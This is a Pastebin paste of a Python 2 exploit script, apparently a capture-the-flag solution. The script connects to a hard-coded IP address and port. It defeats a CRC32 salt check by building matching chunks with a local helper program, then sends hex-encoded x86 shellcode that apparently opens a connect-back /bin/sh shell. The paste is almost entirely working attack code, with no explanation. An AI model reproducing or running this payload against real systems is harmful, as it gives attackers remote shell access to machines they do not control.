SHARE
TWEET

Untitled

a guest Jun 1st, 2014 242 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. import socket,struct,subprocess
  2. from binascii import crc32
  3. #a2fa361c9aabf6a541a1c6ac8b32fcb9
  4. SC = ("31c0504089c350405089e1b066cd8089c7684f11980166681ec643665389e16a10515089e143b066cd8031d289fb89d1b03fcd804180f90375f652686e2f7368682f2f626989e3525389e1b00bcd80b001cd8090" ).decode('hex')
  5. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  6. s.connect(('54.178.232.195', 5757))
  7. salt = s.recv(100).strip('\n').replace('salt: ', '').decode('hex')
  8. salt_crc = crc32(salt) & 0xffffffff
  9. s_buf=struct.pack('I',(len(SC) / 4));
  10. s.send(s_buf)
  11.  
  12. for i in xrange(0, len(SC), 4):
  13.         p = subprocess.Popen(["./a", str(salt_crc)+" "+str((struct.unpack('I',SC[i:i+4])[0]))], stdout=subprocess.PIPE)
  14.         buf_to_send = p.communicate()[0].decode('hex')[::-1]
  15.         if SC[i:i+4] == struct.pack('I',crc32(salt + buf_to_send) & 0xffffffff):
  16.                 s.send(struct.pack('I',len(buf_to_send))+buf_to_send)
  17.         else:
  18.                 print "ouch... something went wrong"
  19.                 break
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top